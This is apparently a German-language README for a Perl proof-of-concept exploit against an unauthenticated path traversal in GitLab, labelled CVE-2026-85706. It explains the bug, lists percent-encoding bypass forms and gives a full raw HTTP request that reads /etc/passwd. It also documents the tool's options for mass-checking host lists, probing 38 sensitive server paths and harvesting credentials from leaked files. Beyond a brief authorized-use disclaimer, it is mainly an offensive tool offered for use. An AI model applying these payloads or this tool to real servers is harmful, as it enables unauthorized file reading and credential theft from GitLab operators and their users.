
Perl-PoC, das CVE-2026-85706 ausnutzt, einen unauthentifizierten GitLab-Path-Traversal, der beliebiges Dateilesen ermöglicht, mit Massenscanning und Credential-Harvesting.
Nur für autorisierte Penetrationstests und Red-Team-Operationen.
Unbefugte Nutzung stellt eine Straftat dar. Siehe Rechtlicher Hinweis.
CVE-2026-85706 ist eine Path-Traversal-Schwachstelle mit CVSS 10.0 in GitLab Community und Enterprise Editions, die es einem vollständig nicht authentifizierten Angreifer ermöglicht, mit einer einzigen HTTP-Anfrage beliebige Dateien aus dem Serverdateisystem zu lesen. Keine Anmeldedaten, kein Token, keine Benutzerinteraktion erforderlich.
| Branch | Anfälliger Bereich | Behoben in |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLabs HTTP-Stack besteht aus drei Schichten:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse fungiert als intelligenter Reverse-Proxy: Für bestimmte „Upload"-Endpunkte (Repository-Commits, Dateioperationen) liest es Multipart-Request-Bodies, speichert Dateidaten auf der Festplatte und schreibt die Anfrage um, bevor es sie an Puma weiterleitet. Entscheidend dabei ist, dass es jedem Request, den es proxyt, einen JWT-Header (Gitlab-Workhorse-Api-Request) anhängt. Rails validiert diesen JWT anschließend (über require_gitlab_workhorse!), bevor irgendeine Handler-Logik ausgeführt wird.
Schicht 1 — Workhorse-Routenabgleich:
Workhorse gleicht Request-Pfade mithilfe eines kompilierten Regex ab, der auf dem rohen, prozentkodierten Byte-String arbeitet. Es dekodiert %XX-Sequenzen NICHT vor dem Abgleich.
Schicht 2 — Puma/Rack-Routing:
Puma dekodiert %XX-Sequenzen bevor Grape die Anfrage routet. Eine Anfrage an /repository/%63ommits wird also zu /repository/commits dekodiert und an CommitsController geroutet.
Schicht 3 — Dateilesen vor der Authentifizierung:
Sobald der Rails-Handler erreicht ist (der ohne Workhorses JWT erreicht wird, weil Workhorse die Anfrage nie abgeglichen hat), liest der Handler params[:file][:path] aus dem Query-String und ruft auf:
File.open(params[:file][:path]) # ← happens BEFORE authentication
Durch die Prozentkodierung eines Zeichens in einem statischen Pfadsegment schleicht sich die Anfrage des Angreifers unbemerkt an Workhorse vorbei:
| Segment | Original | Bypass-Form | Kodiertes Zeichen |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (beliebig) | commits | commits/ | abschließender Schrägstrich |
| (beliebig) | commits | commits.json | Grape-Suffix |
Nachdem die Datei geöffnet wurde, werden die Inhalte über Racks Query-String-Parser exfiltriert:
Rack::Utils.parse_nested_query(File.read(path))
Wenn die Datei ein % enthält, auf das nicht zwei gültige Hex-Ziffern folgen (was in Ruby-Konfigurationsdateien, CI-YAML, Logs usw. häufig vorkommt), wirft Rack:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Dieser Antwortkörper mit 400 Antworten enthält den rohen Dateiinhalt bis einschließlich des fehlerhaften Bytes — und offenbart dem nicht authentifizierten Aufrufer den Inhalt der Datei.
Dateien ohne ausnutzbare %-Sequenzen (z. B. eine saubere /etc/passwd) geben nach dem Lesen einen 401- oder Parameter-Validierungsfehler zurück: Dies wirkt als Dateiexistenz-Orakel (das Lesen fand dennoch vor der Authentifizierung statt).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Technik | ID | Implementierung in diesem PoC |
|---|---|---|
| File and Directory Discovery | T1083 | Der --scan-Modus prüft 38 sensible Serverpfade |
| Credentials In Files | T1552.001 | --harvest extrahiert Schlüssel/Tokens/Passwörter aus geleakten Inhalten |
| Modul | Paket | Rolle |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP-Client (erforderlich) |
LWP::Protocol::https | libwww-perl | HTTPS-Unterstützung (erforderlich) |
URI::Escape | liburi-perl | Query-String-Kodierung (erforderlich) |
Term::ANSIColor | libterm-ansicolor-perl | Farbige Ausgabe (optional) |
JSON | libjson-perl | JSON-Ausgabemodus (optional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string